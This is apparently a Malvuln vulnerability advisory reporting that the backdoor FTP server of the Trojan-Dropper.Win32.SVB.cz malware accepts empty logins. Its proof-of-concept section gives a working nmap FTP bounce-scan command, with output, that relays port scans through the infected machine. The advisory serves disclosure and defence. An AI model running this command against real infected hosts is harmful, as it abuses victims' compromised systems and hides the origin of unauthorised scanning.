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Trojan-Dropper.Win32.SVB.cz Man-In-The-Middle

Trojan-Dropper.Win32.SVB.cz Man-In-The-Middle
Posted Jul 4, 2021
Authored by malvuln | Site malvuln.com

Trojan-Dropper.Win32.SVB.cz malware suffers from a man-in-the-middle vulnerability.

tags | exploit, trojan
systems | windows
MD5 | ee5887a1f94f2976ce53e8e606c6af98

Trojan-Dropper.Win32.SVB.cz Man-In-The-Middle

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d57536189430fd75e45f53845e9b3f94_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.SVB.cz
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 8181 (default) and has an FTP component that listens on port 1212 and accepts null creds. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: d57536189430fd75e45f53845e9b3f94
Vuln ID: MVID-2021-0267
Dropped files: opeC248.exe
Disclosure: 07/03/2021


Exploit/PoC:
nmap -n -Pn -b "":""@192.168.18.129:1212 192.168.18.131 -p22,23,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 22:06 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://:@192.168.18.129:1212
Connected:220 ShangXing Ftp Server
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:06
Discovered open port 80/tcp on 192.168.18.131
Completed Bounce Scan at 22:06, 2.24s elapsed (3 total ports)
Nmap scan report for 192.168.18.131
Host is up.

PORT STATE SERVICE
22/tcp closed ssh
23/tcp closed telnet
80/tcp open http


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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